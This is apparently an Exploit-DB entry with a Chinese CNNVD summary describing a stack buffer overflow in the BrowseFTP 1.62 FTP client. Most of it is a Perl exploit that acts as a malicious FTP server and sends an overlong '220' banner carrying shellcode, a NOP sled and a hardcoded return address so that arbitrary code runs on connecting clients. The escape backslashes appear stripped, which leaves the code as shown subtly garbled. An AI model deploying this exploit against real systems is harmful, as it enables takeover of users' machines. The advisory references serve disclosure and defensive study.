https://www.exploit-db.com/exploits/21201
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-342

BrowseFTP1.62client存在缓冲区溢出漏洞。远程FTP服务器可以借助超长FTP“220”答复信息执行任意代码。

source: http://www.securityfocus.com/bid/3781/info

BrowseFTP is an ftp client that runs on various Microsoft Windows operating systems.

An issue has been reported which could allow for a malicious ftp server to execute arbitrary code on a BrowseFTP client user.

This is acheivable when a BrowseFTP user connects to an ftp host, if the FTP server '220' response is of excessive length. The stack-based overflow condition can allow for malicious administrators to execute arbitrary code on (and gain control of) client hosts. It is also possible to crash the client. 

#!/usr/local/bin/perl

#------------------------------------------------------------------------
# Browse FTP exploit( run under inetd )
# written by Kanatoko 
# http://www.jumperz.net/
#------------------------------------------------------------------------
$|=1;

	#egg written by UNYUN (http://www.shadowpenguin.org/)
$egg  = "xEBx22x5Bx53x32xE4x83xC3x0Bx88x23xB8x24x98x01x78";
$egg .= "xFFxD0x33xC0x50xB4x78xC1xE0x10x33xDBx66xBBx04x55";
$egg .= "x0BxC3xFFxD0xE8xD9xFFxFFxFF";
$egg .= "notepad.exe";

	#018DFB20
$ret = "x20xFBx8Dx01";

$buf = "x90" x 2428;
$buf .= $egg;
$buf .= "A" x 299;
$buf .= $ret;

print "220 $bufrn";

来源:BID
名称:3781
链接:http://www.securityfocus.com/bid/3781
来源:XF
名称:browseftp-server-response-bo(7793)
链接:http://www.iss.net/security_center/static/7793.php
来源:SECTRACK
名称:1003130
链接:http://securitytracker.com/id?1003130